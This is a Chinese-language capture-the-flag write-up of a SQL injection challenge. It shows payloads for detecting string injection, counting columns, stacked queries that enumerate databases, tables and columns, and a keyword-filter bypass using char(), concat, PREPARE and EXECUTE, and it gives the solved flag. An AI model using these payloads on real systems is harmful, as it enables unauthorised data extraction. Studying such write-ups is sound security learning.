目录
爆列:0';show columns from words;#
1. 提交搜索框,应该是SQL注入,判断类型
1 or 1 = 1 #
1' or 1 = 1 #
发现字符型将内容全部显示出来了,所以应该是字符型
2. 判断字段数
1' order by 2 #
1' order by 3 #
字段数为3
3. 使用基础的联合注入试一试叭
0' union select 1,2 #
得到:return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
preg_match 函数用于执行一个正则表达式匹配。
说明对这些字符进行了过滤,所以我们不能带有这些字符进行注入
4. 堆叠注入
一般过滤掉很多关键字的时候我们就要想到使用堆叠注入
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,
利用mysqli_multi_query()函数就支持多条sql语句同时执行,
但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,
所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
爆库:0';show databases;#
爆表:0';show tables;#
爆列:0';show columns from words;#
0';show columns from `1919810931114514` ;#
为什么用反引号呢?因为当数字型字符作为字段、表、库名查询时,应该用反单引号括起来输入之后得到
5. 转换、拼接
爆值
这里,堆叠注入也无法避免使用之前被过滤的字符,所以我们得看看其它方法。
本题即可利用char()方法将ASCII码转换为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句,最后执行即可
了解一下这些内容的含义:
PREPARE sqla from '[my sql sequece]'; 预定义SQL语句
EXECUTE sqla; 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句 通过变量进行传递
SET @tn = 'flag'; 存储表名
PREPARE sqla from @sql; 预定义SQL语句
EXECUTE sqla; 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句 PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。 准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。
ASCII码:select=115,101,108,101,99,116
1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;
flag{c83a29b2-8069-4cd4-a1ea-fc1e40f7e048}